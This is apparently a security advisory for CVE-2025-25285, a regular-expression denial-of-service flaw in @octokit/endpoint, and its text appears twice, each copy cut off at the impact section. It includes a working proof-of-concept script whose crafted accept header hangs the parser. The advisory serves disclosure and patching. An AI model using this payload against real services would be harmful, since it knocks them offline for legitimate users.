CVE-2025-25285

@octokit/endpoint turns REST API endpoints into generic request options. Starting in version 4.1.0 and prior to version 10.1.3, by crafting specific options parameters, the endpoint.parse(options) call can be triggered, leading to a regular expression denial-of-service (ReDoS) attack. This causes the program to hang and results in high CPU utilization. The issue occurs in the parse function within the parse.ts file of the npm package @octokit/endpoint. Version 10.1.3 contains a patch for the issue.

@octokit/endpoint turns REST API endpoints into generic request options. Starting in version 4.1.0 and prior to version 10.1.3, by crafting specific options parameters, the endpoint.parse(options) call can be triggered, leading to a regular expression denial-of-service (ReDoS) attack. This causes the program to hang and results in high CPU utilization. The issue occurs in the parse function within the parse.ts file of the npm package @octokit/endpoint. Version 10.1.3 contains a patch for the issue.

Summary

By crafting specific options parameters, the endpoint.parse(options) call can be triggered, leading to a regular expression denial-of-service (ReDoS) attack. This causes the program to hang and results in high CPU utilization.

Details

The issue occurs in the parse function within the parse.ts file of the npm package @octokit/endpoint. The specific code is located at the following link: https://github.com/octokit/endpoint.js/blob/main/src/parse.ts, at line 62:

headers.accept.match(/[\w-]+(?=-preview)/g) || ([] as string[]);

The regular expression /[\w-]+(?=-preview)/g encounters a backtracking issue when it processes a large number of characters followed by the - symbol. e.g., the attack string:

"" + "A".repeat(100000) + "-"

PoC

The gist Here is the reproduction process for the vulnerability:

1. run npm i @octokit/endpoint
2. Move poc.js to the root directory of the same level as README.md
3. run node poc.js result:
4. then the program will be stuck forever with high CPU usage

import { endpoint } from "@octokit/endpoint";
// import { parse } from "./node_modules/@octokit/endpoint/dist-src/parse.js";
const options = {  
  method: "POST",
  url: "/graphql", // Ensure that the URL ends with "/graphql"
  headers: {
    accept: "" + "A".repeat(100000) + "-", // Pass in the attack string
    "content-type": "text/plain",
  },
  mediaType: {
    previews: ["test-preview"], // Ensure that mediaType.previews exists and has values
    format: "raw", // Optional media format
  },
  baseUrl: "https://api.github.com",
};

const startTime = performance.now();
endpoint.parse(options);
const endTime = performance.now();
const duration = endTime - startTime;
console.log(`Endpoint execution time: ${duration} ms`);

1. Import the endpoint module: First, import the endpoint module from the npm package @octokit/endpoint, which is used for handling GitHub API requests.

2. Construct the options object that triggers a ReDoS attack: The following member variables are critical in constructing the options object:

• url: Set to "/graphql", ensuring the URL ends with /graphql to match the format for GitHub's GraphQL API.
• headers:

accept: A long attack string is crafted with "A".repeat(100000) + "-", which will be passed to the regular expression and cause a backtracking attack (ReDoS).

• mediaType:

previews: Set to ["test-preview"], ensuring mediaType.previews exists and has values.

format: Set to "raw", indicating raw data format.

3. Call the endpoint.parse(options) function and record the time: Call the endpoint.parse(options) function and use performance.now() to record the start and end times, measuring the execution duration.

4. Calculate the time difference and output it: Compute the difference between the start and end times and output it using console.log. When the attack string length reaches 100000, the response time typically exceeds 10000 milliseconds, satisfying the characteristic condition for a ReDoS attack, where response times dramatically increase. <img width="800" alt="2" src="https://github.com/user-attachments/assets/9fc865a4-e150-42d5-bcd5-93ab6b0c29ef" />

Impact

What kind of vulnerability is it?

This is a Regular Expression Denial of Service (ReDoS) vulnerability. It arises from inefficient regular expressions that can cause excessive backtracking when processing certain inputs. Specifically, the regular expression /[\w-]+(?=-preview)/g is vulnerable because it attempts to match long strings of characters followed by a hyphen (-), which leads to inefficient backtracking when provided with specially crafted attack strings. This backtracking results in high CPU utilization, causing the application to become unresponsive and denying service to legitimate users.

Who is impacted?

This vulnerability…

@octokit/endpoint turns REST API endpoints into generic request options. Starting in version 4.1.0 and prior to version 10.1.3, by crafting specific options parameters, the endpoint.parse(options) call can be triggered, leading to a regular expression denial-of-service (ReDoS) attack. This causes the program to hang and results in high CPU utilization. The issue occurs in the parse function within the parse.ts file of the npm package @octokit/endpoint. Version 10.1.3 contains a patch for the issue.

@octokit/endpoint turns REST API endpoints into generic request options. Starting in version 4.1.0 and prior to version 10.1.3, by crafting specific options parameters, the endpoint.parse(options) call can be triggered, leading to a regular expression denial-of-service (ReDoS) attack. This causes the program to hang and results in high CPU utilization. The issue occurs in the parse function within the parse.ts file of the npm package @octokit/endpoint. Version 10.1.3 contains a patch for the issue.

Summary

By crafting specific options parameters, the endpoint.parse(options) call can be triggered, leading to a regular expression denial-of-service (ReDoS) attack. This causes the program to hang and results in high CPU utilization.

Details

The issue occurs in the parse function within the parse.ts file of the npm package @octokit/endpoint. The specific code is located at the following link: https://github.com/octokit/endpoint.js/blob/main/src/parse.ts, at line 62:

headers.accept.match(/[\w-]+(?=-preview)/g) || ([] as string[]);

The regular expression /[\w-]+(?=-preview)/g encounters a backtracking issue when it processes a large number of characters followed by the - symbol. e.g., the attack string:

"" + "A".repeat(100000) + "-"

PoC

The gist Here is the reproduction process for the vulnerability:

1. run npm i @octokit/endpoint
2. Move poc.js to the root directory of the same level as README.md
3. run node poc.js result:
4. then the program will be stuck forever with high CPU usage

import { endpoint } from "@octokit/endpoint";
// import { parse } from "./node_modules/@octokit/endpoint/dist-src/parse.js";
const options = {  
  method: "POST",
  url: "/graphql", // Ensure that the URL ends with "/graphql"
  headers: {
    accept: "" + "A".repeat(100000) + "-", // Pass in the attack string
    "content-type": "text/plain",
  },
  mediaType: {
    previews: ["test-preview"], // Ensure that mediaType.previews exists and has values
    format: "raw", // Optional media format
  },
  baseUrl: "https://api.github.com",
};

const startTime = performance.now();
endpoint.parse(options);
const endTime = performance.now();
const duration = endTime - startTime;
console.log(`Endpoint execution time: ${duration} ms`);

1. Import the endpoint module: First, import the endpoint module from the npm package @octokit/endpoint, which is used for handling GitHub API requests.

2. Construct the options object that triggers a ReDoS attack: The following member variables are critical in constructing the options object:

• url: Set to "/graphql", ensuring the URL ends with /graphql to match the format for GitHub's GraphQL API.
• headers:

accept: A long attack string is crafted with "A".repeat(100000) + "-", which will be passed to the regular expression and cause a backtracking attack (ReDoS).

• mediaType:

previews: Set to ["test-preview"], ensuring mediaType.previews exists and has values.

format: Set to "raw", indicating raw data format.

3. Call the endpoint.parse(options) function and record the time: Call the endpoint.parse(options) function and use performance.now() to record the start and end times, measuring the execution duration.

4. Calculate the time difference and output it: Compute the difference between the start and end times and output it using console.log. When the attack string length reaches 100000, the response time typically exceeds 10000 milliseconds, satisfying the characteristic condition for a ReDoS attack, where response times dramatically increase. <img width="800" alt="2" src="https://github.com/user-attachments/assets/9fc865a4-e150-42d5-bcd5-93ab6b0c29ef" />

Impact

What kind of vulnerability is it?

This is a Regular Expression Denial of Service (ReDoS) vulnerability. It arises from inefficient regular expressions that can cause excessive backtracking when processing certain inputs. Specifically, the regular expression /[\w-]+(?=-preview)/g is vulnerable because it attempts to match long strings of characters followed by a hyphen (-), which leads to inefficient backtracking when provided with specially crafted attack strings. This backtracking results in high CPU utilization, causing the application to become unresponsive and denying service to legitimate users.

Who is impacted?

This vulnerability…